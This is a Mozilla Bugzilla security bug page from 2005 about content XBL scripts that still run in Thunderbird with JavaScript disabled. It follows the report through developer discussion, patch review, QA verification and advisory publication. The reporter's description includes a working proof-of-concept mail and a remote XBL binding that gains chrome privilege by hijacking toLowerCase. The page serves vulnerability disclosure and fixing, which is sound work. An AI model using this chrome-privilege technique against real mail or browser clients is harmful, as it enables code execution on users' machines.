Last Comment Bug 292591 - content XBL scripts run even when Javascript turned off (Thunderbird exposed to any JS exploit)
: content XBL scripts run even when Javascript turned off (Thunderbird exposed ...
Status: RESOLVED FIXED
[sg:fix] have patch
: fixed-aviary1.0.5, fixed1.7.9
Product: Core
Classification: Components
Component: XBL (show other bugs)
: 1.7 Branch
: x86 Windows XP
: -- normal (vote)
: mozilla1.8beta3
Assigned To: Boris Zbarsky [:bz] (Out June 25-July 6)
:
Mentors:
Depends on: 296764 297603
Blocks: 277836 sbb? 289074
  Show dependency treegraph
 
Reported: 2005-05-02 02:37 PDT by moz_bug_r_a4
Modified: 2011-08-05 22:33 PDT (History)
17 users (show)
dveditz: blocking1.7.9+
dveditz: blocking‑aviary1.0.5+
dveditz: blocking‑aviary1.5+
bob: in‑testsuite?
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
Maybe this? Not yet tested.... (5.53 KB, patch)
2005-05-16 13:26 PDT, Boris Zbarsky [:bz] (Out June 25-July 6)
no flags Details | Diff | Review
Slightly cleaner (5.32 KB, patch)
2005-05-16 13:42 PDT, Boris Zbarsky [:bz] (Out June 25-July 6)
no flags Details | Diff | Review
And even compiling (5.33 KB, patch)
2005-05-16 13:56 PDT, Boris Zbarsky [:bz] (Out June 25-July 6)
jonas: review+
dveditz: superreview+
shaver: approval‑aviary1.0.5+
shaver: approval1.7.9+
shaver: approval1.8b3+
Details | Diff | Review
1.7/aviary branch patch (2.26 KB, patch)
2005-06-02 19:11 PDT, Boris Zbarsky [:bz] (Out June 25-July 6)
no flags Details | Diff | Review
testcase for QA (1.17 KB, text/xml)
2005-06-07 09:18 PDT, moz_bug_r_a4
no flags Details

Description moz_bug_r_a4 2005-05-02 02:37:02 PDT
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Thunderbird/1.0.2

1) Disabling JavaScript doesn't stop the XBL version of bug 289074
   and bug 289083. (bug 289074 comment 89)
2) Thunderbird doesn't block remote XBL, even though "Block loading of
   remote images" setting is true. (bug 292589)

thus, Thunderbird is exploitable *by default*.

Affected:
(Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Thunderbird/1.0.2
(Windows; U; Windows NT 5.1; en-US; rv:1.8b2) Gecko/20050501 Thunderbird/1.0+

Not Affected:
(Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050501 Thunderbird/1.0.4


Reproducible: Always

Steps to Reproduce:
create the following HTML mail, and receive it, and open it.

<body>
<p>If the remote XBL is loaded, a red box appears below.</p>
<p
style="-moz-binding:url(http://members.tripod.com/cv6y-mlr8-9hh/sgh7-ry6s/test-ex.xml#x);"></p>
</body>


-----
http://members.tripod.com/cv6y-mlr8-9hh/sgh7-ry6s/test-ex.xml is:

<?xml version="1.0"?>

<bindings xmlns="http://www.mozilla.org/xbl"
          xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">

  <binding id="x">
    <content>
      <xul:vbox style="border: solid 2px #f00;">
        <xul:label value="This is the remote XBL content."/>
        <xul:label value="Left-click or Right-click or Middle-click on me."/>
      </xul:vbox>
    </content>
    <implementation>
      <property name="localName">
        <getter>
          <![CDATA[
            // it needs chrome privilege to get |Components.stack|
            var code = "alert('Exploit!\\n\\n' + Components.stack);'p';";
            var s = new String("P");
            s.toLowerCase = new Script(code);
            return s;
          ]]>
        </getter>
      </property>
    </implementation>
  </binding>

</bindings>
Comment 1 Daniel Veditz [:dveditz] 2005-05-03 13:25:44 PDT
Turning this into a bug on the basic issue: non-trusted (content) XBL scripts
still run even when Javascript is disabled. The Thunderbird version of bugs
289074 and 289083 et al will be fixed anyway in the next rev of Thunderbird
which will pick up the core engine fixes.
Comment 2 Boris Zbarsky [:bz] (Out June 25-July 6) 2005-05-10 10:49:33 PDT
I thought we already had a bug on this, but I don't see one...  I see bugs on
the opposite, in fact (bug 236839) and on not-quite-same (bug 277836).  In any
case, from the discussion on security-group from a few days back:

  As a short-term fix, we could disallow script in bindings by making
  nsXBLBinding::AllowScripts() look at the security context of either the bound
  element or the binding document (in the latter case we may also be able to do
  this on the XBLDocumentInfo level; see nsXBLDocumentInfo::nsXBLDocumentInfo).

The more I think about it, the more I think that the right security context is
that of the binding document.  If people think otherwise, please let me know.
Comment 3 Jonas Sicking (:sicking) PTO Until July 5th 2005-05-10 12:59:56 PDT
Another option is to use the security context of the stylesheet that has the
'winning' -moz-binding rule. This way xbl that's added through extensions will
still work, but it's not possible for content to bind to chrome-xbl and get
scripts running.

I know we've talked about using this context to compile the scripts in the xbl.
That, of course, is a whole other discussion. But it's where I got the idea.
Comment 4 Boris Zbarsky [:bz] (Out June 25-July 6) 2005-05-10 13:20:05 PDT
> Another option is to use the security context of the stylesheet that has the
> 'winning' -moz-binding rule.

We don't know which sheet that is, as it happens.... (we don't keep track of
that in the style system).
Comment 5 Jonas Sicking (:sicking) PTO Until July 5th 2005-05-10 17:24:56 PDT
That could be fixed, no? Couldn't we work our way back from the rule to the
stylesheet whenever we hit an -moz-binding rule? Or attach the stylesheet rule
to the -moz-binding property as part of the parsed value?
Comment 6 Boris Zbarsky [:bz] (Out June 25-July 6) 2005-05-10 17:43:30 PDT
> Or attach the stylesheet rule to the -moz-binding property as part of the
> parsed value?

This we could maybe do, but doing it without leaking would be interesting...
Comment 7 Jonas Sicking (:sicking) PTO Until July 5th 2005-05-10 17:49:44 PDT
Err.. I ment: Attach the stylesheet _uri_ as part of the parsed value. That
should be easy to do without leaking since it's just a refcounted nsIURI
Comment 8 Boris Zbarsky [:bz] (Out June 25-July 6) 2005-05-10 17:57:02 PDT
Yeah, that we could do.  Might not be a bad idea....  David, what do you think?
Comment 9 Jonas Sicking (:sicking) PTO Until July 5th 2005-05-10 18:10:46 PDT
For this bug it should even be enough to attach a flag indicating if the
stylesheet has a chrome uri or not (does userContent.css have a chrome uri?).
But maybe the entire uri could be usefull for other things.
Comment 10 Boris Zbarsky [:bz] (Out June 25-July 6) 2005-05-10 18:15:53 PDT
> (does userContent.css have a chrome uri?)

It has a file:// URI for that file (gotten via the directory service).
Comment 11 Jesse Ruderman 2005-05-15 21:43:25 PDT
This bug might still be exploitable in Thunderbird even though bug 292589 has
been fixed, because the XBL could be an attachment (mailbox or imap URL, IIRC)
or have a data: URL.
Comment 12 Daniel Veditz [:dveditz] 2005-05-16 11:07:12 PDT
(In reply to comment #11)
> This bug might still be exploitable in Thunderbird even though bug 292589 has
> been fixed, because the XBL could be an attachment (mailbox or imap URL, IIRC)
> or have a data: URL.

Oh yes, bug 292589 in no way fixes this bug; they are separate issues. This bug
also means browser users will not be able to protect themselves from some future
exploits by disabling Javascript.

This is basically a dupe of blocking bug 277836, left separate because it's
security sensitive until the thunderbird issues in comment 0 are resolved. Bug
277836 is public and doesn't appear to consider the security implications of not
being able to disable javascript when a hole is discovered.
Comment 13 Boris Zbarsky [:bz] (Out June 25-July 6) 2005-05-16 11:12:11 PDT
Jesse and I talked about this a bit.

Using the bound node security context means that disabling JS will also disable
any scripts in chrome bindings attached to content (eg marquee, flashblock,
remote XUL, etc, etc).  Using the binding security context means that content
can try to load chrome bindings and get them to run script for it somehow... 
doesn't break as much, but is a much bigger attack vector).

Note that using the CSS file URI is identical to using the binding URI in this
last case -- both are chrome, really.   Unless we're worried about the case
where content binds a binding to an unexpected node type or something?
Comment 14 Jonas Sicking (:sicking) PTO Until July 5th 2005-05-16 11:46:16 PDT
(In reply to comment #13)
> Note that using the CSS file URI is identical to using the binding URI in this
> last case -- both are chrome, really.   Unless we're worried about the case
> where content binds a binding to an unexpected node type or something?

I don't get this comment. Or are you reffering to the fact that you can link to
a chrome-css file. Why are we allowing that btw? Seems like no reason to let
content link to a chrome-css file.
Comment 15 Boris Zbarsky [:bz] (Out June 25-July 6) 2005-05-16 11:50:30 PDT
> Or are you reffering to the fact that you can link to a chrome-css file.

That too, but also a lot of the bindings are attached via the UA stylesheet (see
xul.css).

> Seems like no reason to let content link to a chrome-css file.

We want remote XUL to use the current theme.
Comment 16 Boris Zbarsky [:bz] (Out June 25-July 6) 2005-05-16 13:26:59 PDT
Created attachment 183756 [details] [diff] [review]
Maybe this?  Not yet tested....

This is the best I can do given the API the security manager exposes....  Ideas
on how to test this are welcome.  :(
Comment 17 Boris Zbarsky [:bz] (Out June 25-July 6) 2005-05-16 13:42:09 PDT
Created attachment 183759 [details] [diff] [review]
Slightly cleaner

I filed bug 294381 on a better CanExecuteScripts() api...
Comment 18 Boris Zbarsky [:bz] (Out June 25-July 6) 2005-05-16 13:56:37 PDT
Created attachment 183760 [details] [diff] [review]
And even compiling

I've tested that this stops script execution on the testcases in bug 289074
comment 91 and bug 289074 comment 93.

I've also tested that it does NOT stop script execution on the testcase in bug
277836 (since that's a chrome binding).
Comment 19 Daniel Veditz [:dveditz] 2005-06-02 14:43:40 PDT
Comment on attachment 183760 [details] [diff] [review]
And even compiling

sr=dveditz
Comment 20 Mike Shaver (:shaver -- probably not reading bugmail closely) 2005-06-02 14:46:01 PDT
Comment on attachment 183760 [details] [diff] [review]
And even compiling

a=shaver for trunk and branches.
Comment 21 Boris Zbarsky [:bz] (Out June 25-July 6) 2005-06-02 19:11:25 PDT
Created attachment 185236 [details] [diff] [review]
1.7/aviary branch patch
Comment 22 Boris Zbarsky [:bz] (Out June 25-July 6) 2005-06-02 20:51:18 PDT
Fixed for 1.8b3, 1.7.9, and aviary 1.0.5.
Comment 23 moz_bug_r_a4 2005-06-07 09:18:15 PDT
Created attachment 185575 [details]
testcase for QA

This works in:
Firefox 1.0+ (2005-06-02-18)
Firefox 1.0.4
Mozilla 1.7.8

I guess this testcase would be needed for QA. because the old testcases (in 
bug 289074 comment 91 and bug 289074 comment 93) have been stopped in Firefox 
1.0.3 and Mozilla 1.7.7.
Comment 24 Boris Zbarsky [:bz] (Out June 25-July 6) 2005-06-15 08:54:38 PDT
It's likely that this caused at least two regressions (the bugs it depends on).
 We should sort those out before we ship a branch with this fix...
Comment 25 Jay Patel [:jay] 2005-07-06 16:52:23 PDT
v.fixed on aviary with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9)
Gecko/20050706 Firefox/1.0.5 using test case in comment #23
Comment 26 Daniel Veditz [:dveditz] 2005-07-12 11:35:42 PDT
Adding distributors
Comment 27 Daniel Veditz [:dveditz] 2005-07-12 18:05:52 PDT
Security advisories published
Comment 28 Juha-Matti Laurio 2005-07-14 05:05:54 PDT
This is new MFSA2005-46 advisory;
http://www.mozilla.org/security/announce/mfsa2005-46.html now.
For 'Alias' section this is SA16043's issue 2). Is it possible to update 'Alias'
field?

Note You need to log in before you can comment on or make changes to this bug.